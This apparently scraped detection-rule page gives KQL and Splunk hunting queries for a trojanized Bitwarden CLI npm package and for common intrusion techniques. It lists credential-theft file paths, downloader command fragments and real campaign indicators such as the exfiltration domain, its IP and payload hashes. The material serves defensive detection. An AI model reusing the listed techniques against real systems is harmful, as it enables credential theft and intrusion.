by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("explorer.exe","RuntimeBroker.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","mshta.exe")
| where ProcessCommandLine matches regex @"(?i)(iex|invoke-expression|frombase64|downloadstring|hxxp|curl |wget )"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("explorer.exe","RuntimeBroker.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","mshta.exe")
AND (Processes.process="*iex*" OR Processes.process="*Invoke-Expression*"
OR Processes.process="*FromBase64*" OR Processes.process="*DownloadString*"
OR Processes.process="*hxxp*" OR Processes.process="*curl*" OR Processes.process="*wget*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Supply-chain trojan signal: legitimate signed binary spawning script interpreters or exotic LOLBins.
ATT&CKT1195.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("setup.exe","installer.exe","update.exe")
| where FileName in~ ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("setup.exe","installer.exe","update.exe")
AND Processes.process_name IN ("powershell.exe","cmd.exe","rundll32.exe","regsvr32.exe","mshta.exe","wscript.exe","cscript.exe","wmic.exe","bitsadmin.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
Auto-generated hunt targeting the specific binaries, paths, registry locations and command-line fragments named in this article. Hunting tier — needs analyst review and environment tuning before promotion to alerting.
ATT&CKT1204.002
Data sourcesEndpoint.ProcessesEndpoint.FilesystemEndpoint.Registry
// Article-specific bespoke detection — Bitwarden CLI Compromised in Ongoing Checkmarx Supply Chain Campaign
// Hunts the actual binaries / paths / commandline fragments named
// in the article instead of a generic technique-class template.
DeviceProcessEvents
| where Timestamp > ago(30d)
| where (FileName in~ ("bw1.js"))
| project Timestamp, DeviceName, AccountName, FileName,
FolderPath, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine
| order by Timestamp desc
// File-creation events for the named binaries / paths
DeviceFileEvents
| where Timestamp > ago(30d)
| where ActionType in ("FileCreated","FileModified")
| where (FileName in~ ("bw1.js"))
| project Timestamp, DeviceName, AccountName, FolderPath,
FileName, ActionType, InitiatingProcessFileName,
InitiatingProcessCommandLine
| order by Timestamp desc
``` Article-specific bespoke detection — Bitwarden CLI Compromised in Ongoing Checkmarx Supply Chain Campaign ```
| tstats `summariesonly` count earliest(_time) AS firstTime latest(_time) AS lastTime
from datamodel=Endpoint.Processes
where (Processes.process_name IN ("bw1.js"))
by Processes.dest, Processes.user, Processes.process_name,
Processes.process, Processes.parent_process_name, Processes.process_path
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)`
| append [
| tstats `summariesonly` count
from datamodel=Endpoint.Filesystem
where Filesystem.action IN ("created","modified")
AND (Filesystem.file_name IN ("bw1.js"))
by Filesystem.dest, Filesystem.user, Filesystem.process_name,
Filesystem.file_path, Filesystem.file_name
| `drop_dm_object_name(Filesystem)`
]
[LLM] Malicious @bitwarden/cli@2026.4.0 payload (bw1.js / bw_setup.js) execution or writeInstallationHigh
Hunts for the trojanized Bitwarden CLI npm package (version 2026.4.0) dropped during the TeamPCP / Checkmarx supply-chain campaign by detecting writes or executions of the loader 'bw_setup.js' and the credential-stealer 'bw1.js' inside any node_modules/@bitwarden/cli path, or matching the published SHA-256 hashes. High-fidelity because the file names and hashes are unique to this campaign.
Rationale: Uses the exact malicious file names (bw1.js, bw_setup.js), the package path '@bitwarden/cli/2026.4.0', and three published SHA-256 hashes from JFrog's analysis. These artifacts are unique to this campaign so false positives should be near-zero.
Cross-checked against:
• https://research.jfrog.com/post/bitwarden-cli-hijack/
• https://www.bleepingcomputer.com/news/security/bitwarden-cli-npm-package-compromised-to-steal-developer-credentials/
• https://community.bitwarden.com/t/bitwarden-cli-2026-4-0-infected-with-malware/96126
ATT&CKT1195.002T1059.007T1552.001
Data sourcesEndpoint.ProcessesEndpoint.Filesystem
union
( DeviceProcessEvents
| where ProcessCommandLine has_any ("bw1.js","bw_setup.js") or FolderPath has "@bitwarden\\cli" and ProcessCommandLine has "2026.4.0"
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine, SHA256
),
( DeviceFileEvents
| where FileName in~ ("bw1.js","bw_setup.js")
or FolderPath has "@bitwarden/cli" and FolderPath has "2026.4.0"
or SHA256 in ("18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb","8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14","167ce57ef59a32a6a0ef4137785828077879092d7f83ddbc1755d6e69116e0ad")
| project Timestamp, DeviceName, ActionType, FileName, FolderPath, SHA256, InitiatingProcessFileName, InitiatingProcessCommandLine
)
| sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as process values(Processes.parent_process_name) as parent_process_name values(Processes.user) as user from datamodel=Endpoint.Processes where (Processes.process="*bw1.js*" OR Processes.process="*bw_setup.js*" OR Processes.process="*@bitwarden/cli*2026.4.0*") by Processes.dest Processes.process_name | `drop_dm_object_name(Processes)` | append [| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Filesystem.file_path) as file_path from datamodel=Endpoint.Filesystem where (Filesystem.file_name IN ("bw1.js","bw_setup.js") OR Filesystem.file_path="*@bitwarden/cli*2026.4.0*" OR Filesystem.file_hash IN ("18f784b3bc9a0bcdcb1a8d7f51bc5f54323fc40cbd874119354ab609bef6e4cb","8605e365edf11160aad517c7d79a3b26b62290e5072ef97b102a01ddbb343f14","167ce57ef59a32a6a0ef4137785828077879092d7f83ddbc1755d6e69116e0ad")) by Filesystem.dest Filesystem.file_name | `drop_dm_object_name(Filesystem)`] | sort - lastTime
[LLM] TeamPCP credential exfiltration to audit.checkmarx.cx / 94.154.172.43Command & ControlHigh
Detects beaconing to the TeamPCP exfiltration endpoint 'audit.checkmarx.cx' (IP 94.154.172.43) used by the trojanized Bitwarden CLI to ship AES-256-GCM encrypted developer secrets via POSTs to '/v1/telemetry'. Any developer/build host connecting to this host is highly suspect because the domain mimics Checkmarx audit telemetry but is attacker-controlled.
Rationale: Hard-coded on the campaign-specific exfil host 'audit.checkmarx.cx', its resolved IP '94.154.172.43', and the unique URI path '/v1/telemetry' confirmed by JFrog and SOCRadar. These indicators are not used by legitimate Checkmarx products, so a hit is near-deterministic.
Cross-checked against:
• https://research.jfrog.com/post/bitwarden-cli-hijack/
• https://socradar.io/blog/bitwarden-cli-hijacked-npm-supply-chain-teampcp/
• https://www.endorlabs.com/learn/shai-hulud-the-third-coming----inside-the-bitwarden-cli-2026-4-0-supply-chain-attack
ATT&CKT1041T1071.001T1567
Data sourcesNetwork_Traffic.All_TrafficWeb.WebNetwork_Resolution.DNS
union
( DeviceNetworkEvents
| where RemoteUrl has "audit.checkmarx.cx" or RemoteIP == "94.154.172.43" or (RemoteUrl has "/v1/telemetry" and RemoteUrl has "checkmarx")
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, RemoteUrl, RemoteIP, RemotePort, InitiatingProcessAccountName
),
( DeviceEvents
| where ActionType == "DnsQueryResponse" and AdditionalFields has "audit.checkmarx.cx"
| project Timestamp, DeviceName, AdditionalFields, InitiatingProcessFileName
)
| sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(All_Traffic.dest_ip) as dest_ip values(All_Traffic.dest_port) as dest_port values(All_Traffic.app) as app from datamodel=Network_Traffic.All_Traffic where (All_Traffic.dest_ip="94.154.172.43" OR All_Traffic.dest="audit.checkmarx.cx") by All_Traffic.src All_Traffic.user | `drop_dm_object_name(All_Traffic)` | append [| tstats `summariesonly` count from datamodel=Web.Web where (Web.url="*audit.checkmarx.cx*" OR Web.url="*/v1/telemetry*" AND Web.dest="audit.checkmarx.cx") by Web.src Web.url Web.user | `drop_dm_object_name(Web)`] | append [| tstats `summariesonly` count from datamodel=Network_Resolution.DNS where DNS.query="audit.checkmarx.cx" by DNS.src DNS.query | `drop_dm_object_name(DNS)`] | sort - lastTime
[LLM] npm preinstall bootstrapping Bun runtime then executing local JS (TeamPCP TTP)InstallationMedium
Hunting query for the TeamPCP loader pattern: an npm/yarn preinstall script downloads the Bun runtime from github.com/oven-sh/bun/releases and then invokes Bun to execute a local obfuscated JS file (e.g. bw1.js). This unusual bootstrap chain is the signature behaviour of the Bitwarden CLI hijack and likely reused across the campaign's other compromised packages.
Rationale: Targets the campaign's signature bootstrap behaviour described by JFrog and Endor Labs: npm preinstall hook -> download Bun from github.com/oven-sh/bun/releases -> Bun executes obfuscated JS, plus the unique commit-marker strings 'LongLiveTheResistanceAgainstMachines' and 'beautifulcastle' and the 'gh auth token' enumeration command. Filters parents to npm/yarn/pnpm/node to keep noise low while catching reuse of the loader in other compromised packages.
Cross-checked against:
• https://research.jfrog.com/post/bitwarden-cli-hijack/
• https://www.endorlabs.com/learn/shai-hulud-the-third-coming----inside-the-bitwarden-cli-2026-4-0-supply-chain-attack
• https://socradar.io/blog/bitwarden-cli-hijacked-npm-supply-chain-teampcp/
ATT&CKT1195.002T1105T1059.007T1552.001
Data sourcesEndpoint.ProcessesNetwork_Traffic.All_Traffic
let suspiciousChildren = DeviceProcessEvents
| where InitiatingProcessFileName in~ ("node.exe","node","npm.exe","yarn.exe","pnpm.exe","npm-cli.js")
| where ProcessCommandLine has_any ("oven-sh/bun","bun run","bun.exe","bw_setup.js","bw1.js","gh auth token","LongLiveTheResistanceAgainstMachines","beautifulcastle")
or FileName in~ ("bun.exe","bun")
| project Timestamp, DeviceName, AccountName, FileName, FolderPath, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine;
let bunDownloads = DeviceNetworkEvents
| where RemoteUrl has "github.com/oven-sh/bun/releases"
| where InitiatingProcessFileName in~ ("node.exe","node","npm.exe","yarn.exe","pnpm.exe","curl.exe","wget.exe","powershell.exe")
| project Timestamp, DeviceName, RemoteUrl, RemoteIP, InitiatingProcessFileName, InitiatingProcessCommandLine;
union suspiciousChildren, bunDownloads
| sort by Timestamp desc
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime values(Processes.process) as cmd values(Processes.parent_process_name) as parent values(Processes.process_name) as proc from datamodel=Endpoint.Processes where (Processes.parent_process_name IN ("node.exe","node","npm.exe","npm-cli.js","yarn.exe","pnpm.exe")) AND (Processes.process="*oven-sh/bun*" OR Processes.process="*bun.exe*" OR Processes.process_name IN ("bun.exe","bun") OR Processes.process="*gh auth token*" OR Processes.process="*LongLiveTheResistanceAgainstMachines*" OR Processes.process="*beautifulcastle*") by Processes.dest Processes.user | `drop_dm_object_name(Processes)` | where (match(cmd,"oven-sh/bun") OR match(cmd,"bun\\s+(run\\s+)?.*\\.js") OR match(cmd,"LongLiveTheResistanceAgainstMachines|beautifulcastle")) | sort - lastTime
2026-04-2316 use cases13 techniques6 kill-chain phases detected
You scroll past one incident and see another that feels familiar, like it should have been fixed years ago, but it still works with small changes. Same bugs. Same mistakes. The supply chain is messy. Packages you did not check are stealing data, adding backdoors, and spreading. Attacking the systems behind apps is easier than breaking the apps themselves. The exploits are simple but still work
Installation. Establishing persistence on the host — backdoor, service, scheduled task, registry key. → Suspicious browser extension installation · Service install for persistence — sc.exe / new service registry write · RMM tool installed by non-IT user — remote-access utility for hands-on-keyboard
Command & Control. Beacon to attacker infrastructure for control and tasking. → Network connections to article IPs / domains
Actions on Objectives. Lateral movement, credential dumping, data theft, ransomware, sabotage. → Infostealer — non-browser process accessing browser cookie/login DBs · Remote service execution — PsExec / SMB lateral movement · Ransomware-style mass file rename / extension change · LSASS process access / dump (credential theft)
Side-loaded / unsigned extensions, often masquerading as wallets, productivity tools.
ATT&CKT1176
Data sourcesEndpoint.RegistryDeviceRegistryEvents
DeviceRegistryEvents
| where Timestamp > ago(7d)
| where RegistryKey has_any ("\Software\Google\Chrome\Extensions\","\Software\Microsoft\Edge\Extensions\","\Software\Mozilla\Firefox\Extensions\")
| project Timestamp, DeviceName, RegistryKey, RegistryValueName, RegistryValueData,
InitiatingProcessFileName, InitiatingProcessAccountName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Registry
where (Registry.registry_path="*\Software\Google\Chrome\Extensions\*"
OR Registry.registry_path="*\Software\Microsoft\Edge\Extensions\*"
OR Registry.registry_path="*\Software\Mozilla\Firefox\Extensions\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.registry_value_name, Registry.user
| `drop_dm_object_name(Registry)`
Infostealer — non-browser process accessing browser cookie/login DBsActions on ObjectivesHigh
Stealers (RedLine, Lumma, Vidar, Atomic) read Login Data / cookies SQLite from Chrome/Edge/Firefox.
ATT&CKT1539T1555.003
Data sourcesEndpoint.FilesystemDeviceFileEvents
DeviceFileEvents
| where Timestamp > ago(7d)
| where FolderPath has_any ("\Google\Chrome\User Data\","\Microsoft\Edge\User Data\","\Mozilla\Firefox\Profiles\")
| where FileName in~ ("Login Data","Cookies","logins.json","cookies.sqlite")
| where InitiatingProcessFileName !in~ ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FolderPath, FileName, ActionType
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Filesystem
where (Filesystem.file_path="*\Google\Chrome\User Data\*\Login Data*"
OR Filesystem.file_path="*\Google\Chrome\User Data\*\Cookies*"
OR Filesystem.file_path="*\Microsoft\Edge\User Data\*\Login Data*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\logins.json*"
OR Filesystem.file_path="*\Mozilla\Firefox\Profiles\*\cookies.sqlite*")
AND NOT Filesystem.process_name IN ("chrome.exe","msedge.exe","firefox.exe","brave.exe","opera.exe")
by Filesystem.dest, Filesystem.process_name, Filesystem.file_path, Filesystem.user
| `drop_dm_object_name(Filesystem)`
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Vulnerabilities
where Vulnerabilities.signature IN ("CVE-2026-27175", "CVE-2026-27174", "CVE-2025-22952", "CVE-2024-57046", "CVE-2026-34197", "CVE-2024-32114", "CVE-2026-33626", "CVE-2026-32202", "CVE-2026-3854")
by Vulnerabilities.dest, Vulnerabilities.signature, Vulnerabilities.severity, Vulnerabilities.cve
| `drop_dm_object_name(Vulnerabilities)`
| sort - severity
Phishing-link click correlated to endpoint executionDeliveryHigh
User received an external email containing a URL, clicked it, and within
60 seconds the recipient's endpoint spawned a scripting interpreter or
network downloader (PowerShell / cmd / mshta / curl / certutil / bitsadmin).
This is the high-fidelity shape — a raw "user clicked an emailed URL"
query is too noisy to alert on because every Microsoft 365 tenant
generates thousands of legitimate clicks per day. The exec-correlation
step suppresses the noise to roughly the rate at which a click actually
drives onto-host execution, which is the actionable signal.
Pair with UC_PHISH_LINK_BYPASS (Safe Links override) and UC_PHISH_LINK_NEWDOMAIN
for orthogonal high-fidelity variants.
ATT&CKT1566.002T1204.001T1059.001
Data sourcesEmail.All_EmailWebEndpoint.ProcessesEmailEventsEmailUrlInfoUrlClickEventsDeviceProcessEvents
// Phishing-link click that drives endpoint execution within 60s.
// Far higher fidelity than "every clicked URL" — most legitimate clicks
// never spawn a non-browser child process, so the join eliminates the
// 99% of noise that makes a raw click query unactionable.
let LookbackDays = 7d;
let SuspectClicks = UrlClickEvents
| where Timestamp > ago(LookbackDays)
| where ActionType in ("ClickAllowed","ClickedThrough")
| join kind=inner (
EmailEvents
| where Timestamp > ago(LookbackDays)
| where DeliveryAction == "Delivered"
| where EmailDirection == "Inbound"
| project NetworkMessageId, Subject, SenderFromAddress, SenderFromDomain,
RecipientEmailAddress, EmailTimestamp = Timestamp
) on NetworkMessageId
| join kind=leftouter (
EmailUrlInfo | project NetworkMessageId, Url, UrlDomain
) on NetworkMessageId, Url
| project ClickTime = Timestamp, AccountUpn, IPAddress, Url, UrlDomain,
Subject, SenderFromAddress, SenderFromDomain, RecipientEmailAddress,
ActionType;
// Correlate to a non-browser child process spawned within 60 seconds on
// the recipient's device.
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
| where FileName in~ ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe","cscript.exe",
"bitsadmin.exe","certutil.exe","curl.exe","wget.exe")
| join kind=inner SuspectClicks on $left.AccountName == $right.AccountUpn
| where Timestamp between (ClickTime .. ClickTime + 60s)
| project ClickTime, ProcessTime = Timestamp,
DelaySec = datetime_diff('second', Timestamp, ClickTime),
DeviceName, AccountName, RecipientEmailAddress, SenderFromAddress,
Subject, Url, UrlDomain, ActionType,
FileName, ProcessCommandLine, InitiatingProcessFileName
| order by ClickTime desc
``` Phishing-link click that drives endpoint execution within 60s ```
| tstats `summariesonly` earliest(_time) AS click_time
from datamodel=Web
where Web.action="allowed"
by Web.src, Web.user, Web.dest, Web.url
| `drop_dm_object_name(Web)`
| rename user AS recipient, dest AS clicked_domain, url AS clicked_url
| join type=inner recipient
[| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.action="delivered" AND All_Email.url!="-"
by All_Email.recipient, All_Email.src_user, All_Email.url, All_Email.subject
| `drop_dm_object_name(All_Email)`
| rex field=url "https?://(?<email_domain>[^/]+)"
| rename recipient AS recipient]
| join type=inner src
[| tstats `summariesonly` earliest(_time) AS exec_time
values(Processes.process) AS exec_cmd, values(Processes.process_name) AS exec_proc
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("chrome.exe","msedge.exe","firefox.exe",
"outlook.exe","brave.exe","arc.exe")
AND Processes.process_name IN ("powershell.exe","pwsh.exe","cmd.exe","mshta.exe",
"rundll32.exe","regsvr32.exe","wscript.exe",
"cscript.exe","bitsadmin.exe","certutil.exe",
"curl.exe","wget.exe")
by Processes.dest, Processes.user
| `drop_dm_object_name(Processes)`
| rename dest AS src]
| eval delta_sec = exec_time - click_time
| where delta_sec >= 0 AND delta_sec <= 60
| table click_time, exec_time, delta_sec, recipient, src, src_user, subject,
clicked_domain, clicked_url, exec_proc, exec_cmd
| sort - click_time
Email attachment opened from external senderDeliveryHigh
Attachment delivery + execution by recipient — most common malware initial access.
ATT&CKT1566.001T1204.002
Data sourcesEmail.All_EmailEndpoint.ProcessesEmailAttachmentInfoDeviceProcessEvents
let LookbackDays = 7d;
let MalAttachments = EmailAttachmentInfo
| where Timestamp > ago(LookbackDays)
| project NetworkMessageId, RecipientEmailAddress,
AttachmentFileName = FileName, AttachmentSHA256 = SHA256;
DeviceProcessEvents
| where Timestamp > ago(LookbackDays)
| where InitiatingProcessFileName in~ ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
| where FileName in~ ("cmd.exe","powershell.exe","wscript.exe","cscript.exe",
"mshta.exe","rundll32.exe","regsvr32.exe")
| join kind=inner MalAttachments on $left.AccountUpn == $right.RecipientEmailAddress
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, AttachmentFileName, AttachmentSHA256
| tstats `summariesonly` count
from datamodel=Email.All_Email
where All_Email.file_name!="-"
by All_Email.src_user, All_Email.recipient, All_Email.file_name, All_Email.subject
| rename All_Email.recipient as user
| join type=inner user
[| tstats `summariesonly` count
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("OUTLOOK.EXE","winword.exe","excel.exe","powerpnt.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| rename Processes.user as user]
DeviceProcessEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
| where FileName in~ ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
| project Timestamp, DeviceName, AccountName, InitiatingProcessFileName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.parent_process_name IN ("winword.exe","excel.exe","powerpnt.exe","outlook.exe","onenote.exe","mspub.exe","visio.exe")
AND Processes.process_name IN ("cmd.exe","powershell.exe","pwsh.exe","wscript.exe","cscript.exe","mshta.exe","rundll32.exe","regsvr32.exe","wmic.exe","bitsadmin.exe","certutil.exe")
by Processes.dest, Processes.user, Processes.parent_process_name, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)`
Remote service execution — PsExec / SMB lateral movementActions on ObjectivesHigh
psexec / paexec / smbexec / wmic /node — service install over SMB from remote host.
ATT&CKT1021.002T1569.002
Data sourcesEndpoint.ProcessesDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
or (FileName =~ "wmic.exe" and ProcessCommandLine has "/node:")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name IN ("psexec.exe","psexesvc.exe","paexec.exe","smbexec.py")
OR (Processes.process_name="wmic.exe" AND Processes.process="*/node:*")
by Processes.dest, Processes.user, Processes.process_name, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
Service install for persistence — sc.exe / new service registry writeInstallationHigh
Service install with binPath pointing to user-writeable path or LOLBin. Detects via process telemetry (sc.exe create) and registry (HKLM\SYSTEM\CurrentControlSet\Services\* writes).
ATT&CKT1543.003
Data sourcesEndpoint.ProcessesEndpoint.RegistryDeviceProcessEvents
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "sc.exe" and ProcessCommandLine has "create"
| where ProcessCommandLine matches regex @"(?i)(\Users\|\AppData\|\ProgramData\|\Temp\)"
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName
| tstats `summariesonly` count min(_time) as firstTime max(_time) as lastTime
from datamodel=Endpoint.Processes
where Processes.process_name="sc.exe" AND Processes.process="*create*"
AND (Processes.process="*\Users\*" OR Processes.process="*\AppData\*"
OR Processes.process="*\ProgramData\*" OR Processes.process="*\Temp\*")
by Processes.dest, Processes.user, Processes.process, Processes.parent_process_name
| `drop_dm_object_name(Processes)`
| append
[| tstats `summariesonly` count from datamodel=Endpoint.Registry
where Registry.registry_path="*\\SYSTEM\\CurrentControlSet\\Services\\*"
AND Registry.registry_value_name="ImagePath"
AND (Registry.registry_value_data="*\Users\*"
OR Registry.registry_value_data="*\AppData\*"
OR Registry.registry_value_data="*\Temp\*")
by Registry.dest, Registry.registry_path, Registry.registry_value_data, Registry.user
| `drop_dm_object_name(Registry)`]
Browser-pasted PowerShell launched from explorer/Run dialog — ClickFix social engineering.
ATT&CKT1204.004T1059.001
